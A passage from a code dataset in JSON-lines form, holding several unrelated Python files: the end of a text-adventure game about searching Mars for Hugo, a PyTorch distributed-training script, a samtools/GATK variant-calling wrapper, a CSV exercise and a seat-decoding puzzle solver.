number_checker(amount_steps)\n while number_flag == False:\n print(\"ERROR! Please enter a number.\")\n amount_steps = input(\"Please enter the amount of steps you'd like to take: \")\n number_flag = number_checker(amount_steps)\n\n # STEPS INDICATOR AND GUIDANCE\n if randomNumber > int(amount_steps):\n system(\"cls\")\n amount_steps_displayer(amount_steps)\n print(\"[Take MORE steps to find HUGO! (Try again with a higher number)\\n]\")\n elif randomNumber < int(amount_steps):\n system(\"cls\")\n amount_steps_displayer(amount_steps)\n print(\"[Take LESS steps to find HUGO!](Try again with a lower number)\\n\")\n\n # RANDOM ELEMENT\n if int(amount_steps) == 28:\n system(\"cls\")\n print(\"RANDOM ALIEN SUCKS YOUR BLOOD\")\n print(\"HE KILLS YOU\")\n print(\"HE SUCKED SO MUCH BLOOD YOU HAVE NO LIVES LEFT\")\n print(\"[you have lost\", player[4][1], \"lives]\")\n player[4][1] = 0\n info_displayer(player)\n\n # RESTARTS GAME BASED ON INPUT\n game_restarter()\n\n # INCREMENTATION\n sum_steps += int(amount_steps)\n amount_loop += 1\n\n # LOOP ENDS WHEN USER'S INPUT EQUALS RANDOM NUMBER HENCE DESTINATION IS FOUND\n system(\"cls\")\n print(\"------------------------------------------------\")\n print(\"[GPS: YOU HAVE REACHED YOUR DESTINATION]]\\n\")\n print(\"------------------------------------------------\\n\")\n sleep(3)\n print(\"[Hugo is nowhere to be found???!!??!?]\")\n sleep(2)\n print(\"[you took a total amount of\", sum_steps,\"steps.]\")\n player[5].append(sum_steps)\n sleep(1)\n print(\"[A RANDOM ALIEN APPEARS OUT OF NOWHERE SELLING BURGERS]\")\n sleep(1)\n print(\"[Alien: you seem VERY hungry/thirsty]\")\n sleep(2)\n print(\"[Alien: would you like to buy a Slimey Burger from Five Aliens for 25 Marollars?]\")\n sleep(3)\n display_options5(player)\n\n # INPUT STORAGE\n response1 = input(\"Select any of the above: \").lower()\n\n # INPUT VERIFICATION\n flag = checker2(response1, \"y\", \"n\")\n while flag == False:\n system(\"cls\")\n error_message()\n display_options5(player)\n response1 = input(\"Select any of the above: \").lower()\n flag = checker2(response1, \"y\", \"n\")\n\n # DECISION\n if response1 == \"y\":\n system(\"cls\")\n\n # DISPLAYS WHAT YOU HAVE PREVIOUSLY SELECTED\n selection_displayer(\"y\")\n\n print(\"[25 MAROLLARS DEDUCTED]\")\n\n # APPEND TO PLAYER'S LIST\n player[2][1] -= 25 \n print(\"YOU HAVE\", player[2][1], \"MAROLLARS LEFT\")\n\n # RANDOM ELEMENT BASED ON HOW MANY TIMES THE LOOP, LOOPED\n if 1 <= amount_loop and amount_loop <= 3:\n mars_area1(player)\n elif 3 < amount_loop and amount_loop <= 10:\n mars_area2(player)\n else:\n mars_area3(player)\n\n # DECISION\n elif response1 == \"n\":\n system(\"cls\")\n\n # DISPLAYS WHAT YOU HAVE PREVIOUSLY SELECTED\n selection_displayer(\"n\")\n\n # RANDOM ELEMENT BASED ON HOW MANY TIMES THE LOOP, LOOPED\n if 1 <= amount_loop and amount_loop <= 3:\n mars_area1(player)\n elif 3 < amount_loop and amount_loop <= 6:\n mars_area2(player)\n else:\n mars_area3(player)\n\n # DECISION\n elif response1 == \"n\":\n system(\"cls\")\n\n # DISPLAYS WHAT YOU HAVE PREVIOUSLY SELECTED\n selection_displayer(\"n\")\n\n print(\"---> Hello\", name,\", It's John.\")\n sleep(1)\n print(\"---> You don't seem to care about finding Hugo,\", name)\n sleep(1)\n print(\"---> I can't trust you. So I'm sending you back to Earth.\")\n sleep(2)\n print(\"---> You're not trustworthy, I'm sorry\")\n sleep(1)\n print(\"[booting transporter]\")\n sleep(3)\n print(\"[trasporting back to Earth]\")\n earth(player) \n\n #DECISION\n elif response1 == \"n\":\n system(\"cls\")\n\n # DISPLAYS WHAT YOU HAVE PREVIOUSLY SELECTED\n selection_displayer(\"n\")\n\n sleep(1)\n print(\"---> What a boring earthling! Goodbye!\")\n sleep(2)\n print(\"[communication DISCONNECTED]\\n\")\n sleep(2)\n earth(player)\n\ndef checker1(response, option1):\n\n # CHECKS IF USER'S RESPONSE(parameter) IS EQUAL TO THE OPTIONS(parameter) IT RECIEVES, IF NOT IT RETURNS FALSE\n if response != option1:\n return False\ndef checker2(response, option1, option2):\n\n # CHECKS IF USER'S RESPONSE(parameter) IS EQUAL TO THE OPTIONS(parameter) IT RECIEVES, IF NOT IT RETURNS FALSE\n if response != option1 and response != option2:\n return False\ndef checker3(response, option1, option2, option3):\n\n # CHECKS IF USER'S RESPONSE(parameter) IS EQUAL TO THE OPTIONS(parameter) IT RECIEVES, IF NOT IT RETURNS FALSE\n if response != option1 and response != option2 and response != option3:\n return False\ndef checker4(response, option1, option2, option3, option4):\n\n # CHECKS IF USER'S RESPONSE(parameter) IS EQUAL TO THE OPTIONS(parameter) IT RECIEVES, IF NOT IT RETURNS FALSE\n if response != option1 and response != option2 and response != option3 and response != option4:\n return False\ndef checker5(response, option1, option2, option3, option4, option5):\n\n # CHECKS IF USER'S RESPONSE(parameter) IS EQUAL TO THE OPTIONS(parameter) IT RECIEVES, IF NOT IT RETURNS FALSE\n if response != option1 and response != option2 and response != option3 and response != option4 and response != option5:\n return False\ndef display_options1(player):\n\n # 1ST SET OF OPTIONS\n print(\"------------------------------------------------\")\n print(\"Your Info: \", player)\n print(\"------------------------------------------------\")\n print(\"Y = Yes, I can read you.\")\n print(\"W = Wait, who is this? \")\n print(\"------------------------------------------------\")\ndef error_message():\n\n # PRINTS ERROR MESSAGE\n print(\"\\nERROR! You did NOT select any of the above\")\ndef display_options2(player):\n\n # 2ND SET OF OPTIONS\n print(\"------------------------------------------------\")\n print(\"Your Info: \", player)\n print(\"------------------------------------------------\")\n print(\"Y = Yes, what do I do?\")\n print(\"N = No \")\n print(\"------------------------------------------------\")\ndef display_options3(player):\n\n # 3RD SET OF OPTIONS\n print(\"------------------------------------------------\")\n print(\"Your Info: \", player)\n print(\"------------------------------------------------\")\n print(\"Y = Yes!\")\n print(\"N = No \")\n print(\"------------------------------------------------\")\ndef display_options4(player):\n\n # 4TH SET OF OPTIONS\n print(\"------------------------------------------------\")\n print(\"Your Info: \", player)\n print(\"------------------------------------------------\")\n print(\"C = I'd like to carry on!\")\n print(\"R = I'd like to restart\")\n print(\"------------------------------------------------\")\ndef display_options5(player):\n\n # 5TH SET OF OPTIONS\n print(\"------------------------------------------------\")\n print(\"Your Info: \", player)\n print(\"------------------------------------------------\")\n print(\"Y = Yes!\")\n print(\"N = No.\")\n print(\"------------------------------------------------\")\ndef display_options6(player):\n\n # 6TH SET OF OPTIONS\n print(\"------------------------------------------------\")\n print(\"Your Info: \", player)\n print(\"------------------------------------------------\")\n print(\"C = CHEESE!\")\n print(\"P = PIE\")\n print(\"W = WATERMELON\")\n print(\"------------------------------------------------\")\ndef display_options7(player):\n\n # 7TH SET OF OPTIONS\n print(\"------------------------------------------------\")\n print(\"Your Info: \", player)\n print(\"------------------------------------------------\")\n print(\"D = DRAWING\")\n print(\"P = PAINTING\")\n print(\"S = SWIMMING\")\n print(\"E = EATING\")\n print(\"------------------------------------------------\")\ndef display_options8(player):\n\n # 8TH SET OF OPTIONS\n print(\"------------------------------------------------\")\n print(\"Your Info: \", player)\n print(\"------------------------------------------------\")\n print(\"B = BLUE\")\n print(\"R = RED\")\n print(\"Y = YELLOW\")\n print(\"P = PINK\")\n print(\"W = WHITE\")\n print(\"------------------------------------------------\")\ndef selection_displayer(option):\n\n # DISPLAYS THE OPTIONS IT RECIEVES AND TURNS IT UPPER CASE\n print(\"You selected\", option.upper(), \"\\n\")\ndef number_checker(x):\n\n # CHECKS IF X(PARAMETER) IS A NUMBER, RETURNS FALSE IF NOT\n if x.isnumeric() == False:\n return False\ndef name_checker(x):\n\n # CHECKS IF X(PARAMETER) IS A WORD, RETURNS FALSE IF NOT\n if x.isalpha() == False:\n return False\ndef amount_steps_displayer(amount_steps):\n\n # DISPLAYS AMOUNT OF STEPS USER ENTERED\n print(\"You previously entered\", amount_steps,\"amount of steps\\n\")\ndef mars_area1(player):\n\n # MARS AREA 1 WELCOME MESSAGE\n print(\"You are in MARS AREA 1\")\n sleep(1)\n print(\"A RANDOM ALIEN APPEARS\")\n sleep(2)\n print(\"THE ALIEN ASKS What do you like most?\")\n sleep(2)\n display_options6(player)\n\n # INPUT STORAGE\n response1 = input(\"Select any of the above: \").lower()\n\n # INPUT VERIFICATION\n flag = checker3(response1, \"c\", \"p\", \"w\")\n while flag == False:\n system(\"cls\")\n error_message()\n display_options6(player)\n response1 = input(\"Select any of the above: \").lower()\n flag = checker3(response1, \"c\", \"p\", \"w\")\n\n # DECISION\n if response1 == \"c\":\n system(\"cls\")\n selection_displayer(\"c\")\n print(\"ALIEN: NO CHEESE ON MARS, SILLY\")\n print(\"BUT YOU FOUND HUGO\")\n\n # RESTARTS GAME BASED ON INPUT\n game_restarter()\n elif response1 == \"p\":\n system(\"cls\")\n\n # DISPLAYS WHAT YOU HAVE PREVIOUSLY SELECTED\n selection_displayer(\"p\")\n\n print(\"ALIEN: NO PIE ON MARS, SILLY\")\n print(\"BUT YOU FOUND HUGO\")\n\n # RESTARTS GAME BASED ON INPUT\n game_restarter()\n elif response1 == \"w\":\n system(\"cls\")\n\n # DISPLAYS WHAT YOU HAVE PREVIOUSLY SELECTED\n selection_displayer(\"w\")\n\n print(\"ALIEN: NO WATERMELON ON MARS, SILLY\")\n print(\"BUT YOU FOUND HUGO\")\n\n # RESTARTS GAME BASED ON INPUT\n game_restarter()\ndef mars_area2(player):\n\n # MARS AREA 2 WELCOME MESSAGE\n print(\"You are in MARS AREA 2\")\n sleep(2)\n print(\"A RANDOM ALIEN APPEARS\")\n sleep(2)\n print(\"THE ALIEN ASKS What do you like most?\")\n sleep(2)\n display_options7(player)\n\n # INPUT STORAGE\n response1 = input(\"Select any of the above: \").lower()\n\n # INPUT VERIFICATION\n flag = checker4(response1, \"d\", \"p\", \"s\", \"e\")\n while flag == False:\n system(\"cls\")\n error_message()\n display_options7(player)\n response1 = input(\"Select any of the above: \").lower()\n flag = checker4(response1, \"d\", \"p\", \"s\", \"e\")\n\n # DECISION\n if response1 == \"d\":\n system(\"cls\")\n\n # DISPLAYS WHAT YOU HAVE PREVIOUSLY SELECTED\n selection_displayer(\"d\")\n\n print(\"ALIEN: NO DRAWING ON MARS, SILLY\")\n print(\"BUT YOU FOUND HUGO\")\n\n # RESTARTS GAME BASED ON INPUT\n game_restarter()\n elif response1 == \"p\":\n system(\"cls\")\n\n # DISPLAYS WHAT YOU HAVE PREVIOUSLY SELECTED\n selection_displayer(\"p\")\n\n print(\"ALIEN: NO PAINTING ON MARS, SILLY\")\n print(\"BUT YOU FOUND HUGO\")\n\n # RESTARTS GAME BASED ON INPUT\n game_restarter()\n elif response1 == \"s\":\n system(\"cls\")\n\n # DISPLAYS WHAT YOU HAVE PREVIOUSLY SELECTED\n selection_displayer(\"s\")\n\n print(\"ALIEN: NO SWIMMING ON MARS, SILLY\")\n print(\"BUT YOU FOUND HUGO\")\n\n # RESTARTS GAME BASED ON INPUT\n game_restarter()\n elif response1 == \"e\":\n system(\"cls\")\n\n # DISPLAYS WHAT YOU HAVE PREVIOUSLY SELECTED\n selection_displayer(\"e\")\n\n print(\"ALIEN: NO EATING ON MARS, SILLY\")\n print(\"BUT YOU FOUND HUGO\")\n\n # RESTARTS GAME BASED ON INPUT\n game_restarter()\ndef mars_area3(player):\n\n # MARS AREA 3 WELCOME MESSAGE\n print(\"You are in MARS AREA 3\")\n sleep(2)\n print(\"A RANDOM ALIEN APPEARS\")\n sleep(2)\n print(\"THE ALIEN ASKS What is your favorite colour?\")\n sleep(2)\n display_options8(player)\n\n # INPUT STORAGE\n response1 = input(\"Select any of the above: \").lower()\n flag = checker5(response1, \"b\", \"r\", \"y\", \"p\", \"w\")\n\n # INPUT VERIFICATION\n while flag == False:\n system(\"cls\")\n error_message()\n display_options8(player)\n response1 = input(\"Select any of the above: \").lower()\n flag = checker5(response1, \"b\", \"r\", \"y\", \"p\", \"w\")\n\n # DECISION\n if response1 == \"b\":\n system(\"cls\")\n\n # DISPLAYS WHAT YOU HAVE PREVIOUSLY SELECTED\n selection_displayer(\"b\")\n\n print(\"ALIEN: NO BLUE ON MARS, SILLY\")\n print(\"BUT YOU FOUND HUGO\")\n\n # RESTARTS GAME BASED ON INPUT\n game_restarter()\n elif response1 == \"r\":\n system(\"cls\")\n\n # DISPLAYS WHAT YOU HAVE PREVIOUSLY SELECTED\n selection_displayer(\"r\")\n\n print(\"ALIEN: NO RED ON MARS, SILLY\")\n print(\"BUT YOU FOUND HUGO\")\n\n # RESTARTS GAME BASED ON INPUT\n game_restarter()\n elif response1 == \"y\":\n system(\"cls\")\n\n # DISPLAYS WHAT YOU HAVE PREVIOUSLY SELECTED\n selection_displayer(\"y\")\n\n print(\"ALIEN: NO YELLOW ON MARS, SILLY\")\n print(\"BUT YOU FOUND HUGO\")\n\n # RESTARTS GAME BASED ON INPUT\n game_restarter()\n elif response1 == \"p\":\n system(\"cls\")\n\n # DISPLAYS WHAT YOU HAVE PREVIOUSLY SELECTED\n selection_displayer(\"p\")\n\n print(\"ALIEN: NO PINK ON MARS, SILLY\")\n print(\"BUT YOU FOUND HUGO\")\n game_restarter()\n elif response1 == \"w\":\n system(\"cls\")\n selection_displayer(\"w\")\n print(\"ALIEN: NO WHITE ON MARS, SILLY\")\n print(\"BUT YOU FOUND HUGO\")\n\n # RESTARTS GAME BASED ON INPUT\n game_restarter()\ndef earth(player):\n\n # EARTH WELCOME MESSAGE\n info_displayer(player)\n sleep(1)\n print(\"[You are back to Earth, John put you in an unknown location]\")\n sleep(1)\n print(\"[You are currently in a building with 30 floors]\")\n sleep(2)\n print(\"[A taxi willing to take you back home is in one of these floors]\\n\")\n sleep(2)\n\n #COMPUTES A RANDOM NUMBER BETWEEN 1 AND 30 INCLUSIVE\n randomNumber = random.randint(1,30)\n\n # GUESSING GAME DISGUISED AS A FLOOR-SEARCHING GAME\n\n # FLOOR NUMBER PLAYER CHOOSES TO VISIT WHEN ASKED\n floor_number = 0\n\n # TOTAL AMOUNT OF FLOOR VISITED\n amountFloorsVisited = 0\n\n # LOOP ENDS WHEN USER'S INPUT EQUALS RANDOM NUMBER HENCE TAXI IS FOUND\n while(randomNumber != int(floor_number)):\n \n # INPUT STORAGE\n floor_number = input(\"Enter the floor number you'd like to go to to find the taxi: \")\n\n #INPUT VERIFICATION\n number_flag = number_checker(floor_number)\n while number_flag == False:\n print(\"ERROR! Please enter a number.\")\n floor_number = input(\"Enter the floor number you'd like to go to to find the taxi: \")\n number_flag = number_checker(floor_number)\n\n # STEPS INDICATOR AND GUIDANCE\n if randomNumber > int(floor_number):\n system(\"cls\")\n amount_floor_displayer(floor_number)\n print(\"[Go to a HIGHER floor to find the taxi! (Try again with a higher number)\\n]\")\n elif randomNumber < int(floor_number):\n system(\"cls\")\n amount_floor_displayer(floor_number)\n print(\"[Go to a LOWER floor to find the taxi!](Try again with a lower number)\\n\")\n\n # OBJECT IN ROOM RANDOM ELEMENT\n if int(floor_number) == 20:\n system(\"cls\")\n amount_floor_displayer(floor_number)\n print(\"YOU FOUND A CHOCOLATE BAR\")\n print(\"1 CHOCOLATE BAR ADDED TO OBJECTS\")\n player[1].append(\"chocolate bar\")\n player[1].append(1)\n info_displayer(player)\n\n # RANDOM ELEMENT\n if int(floor_number) == 15:\n system(\"cls\")\n amount_floor_displayer(floor_number)\n print(\"JOHN IS HERE AND HE IS SO PISSED\")\n print(\"HE KILLS YOU WITH HIS NASA BEAM-SHOOTER\")\n print(\"That shot was so strong it removed all of your lives\")\n print(\"You have lost\", player[4][1], \"lives\")\n print(\"GAME OVER\")\n info_displayer(player)\n # RESTARTS GAME BASED ON INPUT\n game_restarter()\n\n # INCREMENTATION\n amountFloorsVisited += 1\n\n # LOOP ENDS WHEN USER'S INPUT EQUALS RANDOM NUMBER HENCE TAXI IS FOUND\n system(\"cls\")\n print(\"------------------------------------------------\")\n print(\"[YOU'RE BACK HOME!!!!!!!!!!!!]\")\n print(\"------------------------------------------------\")\n sleep(2)\n print(\"[You visited a total of\", amountFloorsVisited, \"floors]\")\n player[3].append(amountFloorsVisited)\n sleep(2)\n info_displayer(player)\n\n # RESTARTS GAME BASED ON INPUT\n game_restarter()\ndef game_restarter():\n\n # RESTARTS THE GAME BY CALLING MAIN FUNCTION\n restartOption = input(\"Game over, enter anything to restart: \")\n if restartOption == \"0\":\n main()\n else:\n main()\ndef amount_floor_displayer(floor_number):\n \n # DISPLAYS THE FLOOR NUMBER USER ENTERED\n print(\"You previously entered the\", floor_number, \"th floor\\n\")\ndef name_refiner(name):\n\n # REFINES NAME BY UPPER-CASING THE FIRST LETTER AND LOWER-CASING THE REST\n\n # 1. TRANSFORMS STRING TO LIST\n name = list(name)\n\n # 2. TRANSFORMS EACH LETTER INTO A LOWER CASE LETTER\n name = [x.lower() for x in name]\n\n # 3. UPDATES FIRST LETTER TO AN UPPER CASE LETTER\n name[0] = name[0].upper()\n\n # 4. CONVERTS IT FROM A LIST BACK TO A STRING\n name = \"\".join(name)\n \n # 5. RETURNS NAME\n return name\ndef info_displayer(player):\n\n # PRINTS INFORMATION\n print(\"------------------------------------------------\")\n print(\"Your info: \", player)\n print(\"------------------------------------------------\")\nmain()","sub_path":"game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":30249,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"110843577","text":"import os\nimport torch\nimport json\nimport copy\nimport numpy as np\nfrom torchvision import datasets, transforms\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\nimport logging\nimport random\nimport model as mdl\nfrom torch import distributed as dist\nfrom torch.utils.data.distributed import DistributedSampler\nimport sys\nfrom datetime import datetime\nimport argparse\n\ndevice = \"cpu\"\ntorch.set_num_threads(4)\n\nbatch_size = 64 # batch for one node\ndef train_model(model, train_loader, optimizer, criterion, epoch, rank, dist):\n \"\"\"\n model (torch.nn.module): The model created to train\n train_loader (pytorch data loader): Training data loader\n optimizer (optimizer.*): A instance of some sort of optimizer, usually SGD\n criterion (nn.CrossEntropyLoss) : Loss function used to train the network\n epoch (int): Current epoch number\n \"\"\"\n prev_time = datetime.now()\n group = dist.new_group([0, 1, 2, 3])\n model.train()\n # remember to exit the train loop at end of the epoch\n for batch_idx, (data, target) in enumerate(train_loader):\n # Your code goes here!\n data, target = data.to(device), target.to(device)\n output = model(data)\n loss = criterion(output, target)\n optimizer.zero_grad()\n loss.backward()\n for a in model.parameters():\n grad_list = [torch.zeros_like(a.grad) for _ in range(4)]\n # Gather the gradients across all the workers\n dist.gather(a.grad, grad_list, group=group, async_op=False)\n\n grad_sum = torch.zeros_like(a.grad)\n for i in range(4):\n grad_sum += grad_list[i]\n grad_mean = grad_sum / 4 # Calculate the mean across all teh workers\n \n # Scatter the gradient caculated across all the workers\n scatter_list = [grad_mean for _ in range(4)]\n dist.scatter(a.grad, scatter_list, group=group, src=0, async_op=False)\n optimizer.step()\n\n output = output.float()\n loss = loss.float()\n\n if batch_idx % 20 == 0:\n print(batch_idx, \"loss: \", loss.item())\n if batch_idx < 40:\n later = datetime.now()\n print(\"average time: \", (later - prev_time).total_seconds())\n prev_time = later\n\n return None\n\ndef test_model(model, test_loader, criterion):\n model.eval()\n test_loss = 0\n correct = 0\n with torch.no_grad():\n for batch_idx, (data, target) in enumerate(test_loader):\n data, target = data.to(device), target.to(device)\n output = model(data)\n test_loss += criterion(output, target)\n pred = output.max(1, keepdim=True)[1]\n correct += pred.eq(target.view_as(pred)).sum().item()\n\n test_loss /= len(test_loader)\n print('Test set: Average loss: {:.4f}, Accuracy: {}/{} ({:.0f}%)\\n'.format(\n test_loss, correct, len(test_loader.dataset),\n 100. * correct / len(test_loader.dataset)))\n \n\ndef main():\n torch.manual_seed(5000)\n np.random.seed(5000)\n\n parser = argparse.ArgumentParser()\n parser.add_argument('--master-ip', dest='master_ip', type=str, help='master ip, 10.10.1.1')\n parser.add_argument('--num-nodes', dest='size', type=int, help='number of nodes, 4')\n parser.add_argument('--rank', dest='rank', type=int, help='rank, 0')\n args = parser.parse_args()\n\n dist.init_process_group(backend=\"gloo\",\n init_method=\"tcp://\"+args.master_ip+\":1234\",\n rank=args.rank,\n world_size=args.size)\n\n normalize = transforms.Normalize(mean=[x/255.0 for x in [125.3, 123.0, 113.9]],\n std=[x/255.0 for x in [63.0, 62.1, 66.7]])\n transform_train = transforms.Compose([\n transforms.RandomCrop(32, padding=4),\n transforms.RandomHorizontalFlip(),\n transforms.ToTensor(),\n normalize,\n ])\n\n transform_test = transforms.Compose([\n transforms.ToTensor(),\n normalize])\n training_set = datasets.CIFAR10(root=\"./data\", train=True,\n download=True, transform=transform_train)\n train_sampler = DistributedSampler(training_set,num_replicas=args.size,rank=args.rank) if torch.distributed.is_available() else None\n train_loader = torch.utils.data.DataLoader(training_set,\n num_workers=2,\n batch_size=batch_size,\n sampler=train_sampler,\n #shuffle=True,\n pin_memory=True)\n test_set = datasets.CIFAR10(root=\"./data\", train=False,\n download=True, transform=transform_test)\n\n test_loader = torch.utils.data.DataLoader(test_set,\n num_workers=2,\n batch_size=batch_size,\n shuffle=False,\n pin_memory=True)\n training_criterion = torch.nn.CrossEntropyLoss().to(device)\n\n model = mdl.VGG11()\n model.to(device)\n optimizer = optim.SGD(model.parameters(), lr=0.1,\n momentum=0.9, weight_decay=0.0001)\n \n\n # running training for one epoch\n for epoch in range(5):\n train_model(model, train_loader, optimizer, training_criterion, epoch, args.rank, dist)\n test_model(model, test_loader, training_criterion)\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"master/Part-2/Task-2a/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5731,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"328588595","text":"#!/usr/bin/env python3\n\n\"\"\"\nVariantsCall.py\n Call variants (SNP, HET, INS, DEL, GAP) for a given BAM.\n\"\"\"\n\nimport sys\nimport os \nimport re\nimport time\nfrom optparse import OptionParser\n\nimport SbS_Util as util\nfrom SbS_Basepair import SbS_Basepair\nfrom SbS_Variant import SbS_VariantList\nfrom SbS_Defaults import SbS_Defaults as defaults\nfrom SbS_HaplotypeCaller import gatk_variants_calling\n\n\nPROGRAM_NAME = 'SbS_VariantCall'\n\ndef parse_args():\n usage = \"usage: %prog [options]\"\n parser = OptionParser(usage=usage)\n parser.add_option(\"-b\",\"--bam1\",dest=\"bam1\",\n help=\"Required input bam filename for INDEL/SNP calling.\")\n parser.add_option('-B','--bam2',dest='bam2',\n help='option to set input softclip mapped BAM filename for GAP calling, defaults to use bam1.')\n parser.add_option(\"-f\",\"--refasta\",dest=\"refasta\",\n help=\"Required input reference fasta filename, need to have fai index file with it.\")\n parser.add_option('-s','--sample_id',dest='sample_id',default='Unknown',\n help='option to set input sample ID, defaults to Unknown.')\n parser.add_option('-m','--map_id',dest='map_id',default='Unknown',\n help='option to set input target map ID, defaults to Unknown.')\n parser.add_option(\"-o\",\"--output\",dest=\"output\",\n help=\"Option to set output filename, defaults to stdout.\")\n parser.add_option(\"-q\",\"--min_map_qual\",dest=\"min_map_qual\",type='int',default=defaults['min_map_qual'],\n help=\"Option to set the minimum mapping quality for SNP call. Defaults to %s.\" % defaults['min_map_qual'])\n parser.add_option('','--min_gap_len',dest='min_gap_len',type='int',default=defaults['min_gap_len'],\n help='option to set the minimum length to call a GAP, defaults to %s.' % defaults['min_gap_len'])\n parser.add_option('-O','--outdir',dest='outdir',default='.',\n help='option to set output directory, defaults to current.')\n parser.add_option('-T','--tmpdir',dest='tmpdir',default='.',\n help='option to set temporary directory, defaults to current.')\n parser.add_option(\"-v\",\"--verbose\",dest=\"verbose\",default=False, action=\"store_true\")\n\n (options, args) = parser.parse_args()\n if not options.refasta or not options.bam1:\n parser.print_help()\n sys.exit(1)\n\n return options, args\n\n\n\n\n#######################################################\n### SNP Calling by mpileup and cov/purity cutoffs \n#######################################################\ndef snp_calling(variants, bam_file, refasta, min_mapping_qual, logfile, verbose, prog_name=PROGRAM_NAME):\n min_cov = defaults['min_variant_cov']\n min_freq = defaults['min_variant_perc']\n\n cmd = 'samtools mpileup -f %s -q %s %s 2> /dev/null' % (refasta, min_mapping_qual, bam_file)\n util.logging('#cmd: '+cmd, logfile, prog_name, verbose)\n infile = os.popen(cmd)\n line = infile.readline()\n while line != \"\":\n if line[0] != '#':\n basepair = SbS_Basepair()\n basepair.load_mpileup(line)\n values = basepair.variants(min_cov, min_freq)\n for i in range(0, len(values)):\n if values[i][2] == 'SNP':\n variants.add_from_array(values[i], logfile)\n line = infile.readline()\n infile.close()\n\n return variants\n\n\n\n\n####################################################\n#### Gap Calling\n####################################################\ndef gap_calling(variants, bam_file, min_gap_len, logfile, verbose, prog_name=PROGRAM_NAME):\n ### Get the target sequence length from BAM header\n ### @SQ SN:PHX5726 LN:15018\n cmd = 'samtools view -H %s' % bam_file\n util.logging('#cmd: '+cmd, logfile, prog_name, verbose)\n infile = os.popen(cmd, 'r')\n line = infile.readline()\n seq_len = 0\n while line != '':\n if re.match('@SQ', line):\n rec = line[:-1].split('\\t')\n for i in range(1, len(rec)):\n val = rec[i].split(':')\n if val[0] == 'SN':\n seq_name = val[1]\n elif val[0] == 'LN':\n seq_len = int(val[1])\n break\n line = infile.readline()\n infile.close()\n\n min_qual = 0\n cmd = 'samtools depth -Q %s %s' % (min_qual, bam_file)\n util.logging('#cmd: '+cmd, logfile, prog_name, verbose)\n infile = os.popen(cmd, 'r')\n line = infile.readline()\n last_pos = 0\n while line != '':\n rec = line[:-1].split('\\t')\n pos = int(rec[1])\n gap_len = pos - last_pos - 1\n if gap_len >= min_gap_len:\n variants.add_gap(rec[0], last_pos+1, gap_len)\n last_pos = pos\n line = infile.readline()\n infile.close()\n\n if seq_len > 0:\n gap_len = seq_len - last_pos\n if gap_len >= min_gap_len:\n variants.add_gap(seq_name, last_pos+1, gap_len)\n \n return\n\n\n\n#############################################\n## SNPs/INDELs by GATK HaplotypeCaller\n## GAPs by gap_calling\n#############################################\ndef variants_call(variants, outname, target_fasta, integrity_bam, coverage_bam, min_map_qual, min_gap_len, \\\n outdir, tmpdir, logfile, verbose):\n\n # Step 1: call SNPs/INDELs by GATK HaplotypeCaller\n gatk_variants_calling(variants, integrity_bam, target_fasta, outname, min_map_qual, outdir, tmpdir, logfile, verbose)\n\n # Step 2: additional SNPs calling by samtools mpileup\n snp_calling(variants, integrity_bam, target_fasta, min_map_qual, logfile, verbose)\n\n # Step 3: call GAPs\n gap_calling(variants, coverage_bam, min_gap_len, logfile, verbose)\n\n return variants\n\n \n#####################################################\n### Main Function\n#####################################################\ndef main():\n options, args = parse_args()\n refasta = options.refasta\n min_map_qual = options.min_map_qual\n min_gap_len = options.min_gap_len\n output = options.output\n outdir = options.outdir\n tmpdir = options.tmpdir\n verbose = options.verbose\n delimit = '\\t'\n\n integrity_bam = options.bam1\n if options.bam2: softclip_bam = options.bam2\n else: softclip_bam = options.bam1\n \n variants = SbS_VariantList(options.sample_id, options.map_id)\n outname = '%s.%s' % (variants.sample_id(), variants.target_id())\n logfile = os.path.join(outdir, outname+'.variants_call.log')\n variants = variants_call(variants, outname, refasta, integrity_bam, softclip_bam, \\\n min_map_qual, min_gap_len, outdir, tmpdir, logfile, verbose)\n\n if output: outfile = open(output, 'w')\n else: outfile = sys.stdout\n variants.write(outfile, delimit)\n if output: outfile.close()\n\n\n\nif __name__ == '__main__':\n main()\n\n","sub_path":"src/SbS_VariantCall.py","file_name":"SbS_VariantCall.py","file_ext":"py","file_size_in_byte":6810,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"29456200","text":"import csv\n\nlist1 = [\"top gun\", \"risky business\", \"minority report\"]\nlist2 = [\"titanic\", \"the revenant\", \"inception\"]\nlist3 = [\"training day\", \"man on fire\", \"flight\"]\n\nallList = [list1, list2, list3]\n\nprint(allList)\n\n\nlisty = [['top gun', 'risky business', 'minority report'],\n ['titanic', 'the revenant', 'inception'],\n ['training day', 'man on fire', 'flight']]\n\nwith open(\"yo.csv\", \"w\", newline='') as f:\n w = csv.writer(f, delimiter=\",\")\n w.writerow(listy[1])\n w.writerow(listy[2])\n w.writerow(listy[0])\n","sub_path":"pythonPractice/csvstuff.py","file_name":"csvstuff.py","file_ext":"py","file_size_in_byte":561,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"416403341","text":"with open(\"./Julekalender/seat.txt\", \"r\") as f:\n seat_IDs = [line.rstrip() for line in f]\n\nseat_list = []\nseat_list_mine = [num for num in range(12, 859)]\n\nmy_row = 0\nmy_column = 0\n\nfor seat_ID in seat_IDs:\n upper = 127\n lower = 0\n for letter in seat_ID[:7]:\n if letter == \"F\":\n upper = (upper + lower) // 2\n else:\n lower = (upper + lower) // 2 + 1\n \n if seat_ID[6] == \"F\":\n my_row = lower\n else:\n my_row = upper\n \n upper = 7\n lower = 0\n for letter in seat_ID[7:]:\n if letter == \"L\":\n upper = (upper + lower) // 2\n else:\n lower = (upper + lower) // 2 + 1\n \n if seat_ID[-1] == \"L\":\n my_column = lower\n else:\n my_column = upper\n \n seat = ((my_row * 8) + my_column)\n\n seat_list_mine.remove(seat)\n seat_list.append(seat)\n seat_list.sort()\n\nprint(\"Task 1:\", seat_list[-1])\nprint(\"Tast 2:\", seat_list_mine[0])\n\n","sub_path":"day_5.py","file_name":"day_5.py","file_ext":"py","file_size_in_byte":974,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"86610934","text":"# -*- coding: utf-8 